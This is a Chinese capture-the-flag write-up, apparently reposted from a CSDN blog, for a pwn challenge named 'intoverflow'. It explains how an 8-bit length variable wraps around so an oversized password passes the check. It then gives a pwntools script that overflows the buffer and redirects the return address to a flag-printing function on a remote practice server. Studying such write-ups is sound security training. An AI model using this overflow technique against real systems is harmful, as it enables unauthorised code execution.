此题题目为intoverflow,提示整数溢出,IDA阅读伪代码,发现Success条件是输入password长度为[3,8),而要程序中有个函数what_is_this,功能是cat flag,所以要想获取flag,需要让程序运行此函数,而程序的运行并没有调用此函数,因此,必须溢出。存储输入password长度的变量是短整型,即8位二进制数,范围[0,255],当值大于255时,发生溢出,如256=0,而程序读入password的长度位199h,超过了256+8,所以,在256+3到256+7之间的长度都能满足要求。尝试输入长度为262的password,找到返回地址的偏移量,为24,及25-28字节为返回地址,将返回地址覆盖为what_is_this的地址,即输入了flag,exp:
from pwn import *
p=remote('111.198.29.45','44601')
offset=24
payload='a'*24+p32(0x804868B)+'b'*232
p.recvuntil('Your choice:')
p.sendline("1")
p.recvuntil("Please input your username:\n")
p.sendline("A")
print p.recvuntil("Please input your passwd:\n")
p.sendline(payload)
print p.recv()
print p.recv()
来源:CSDN
作者:neuisf
链接:https://blog.csdn.net/neuisf/article/details/103940846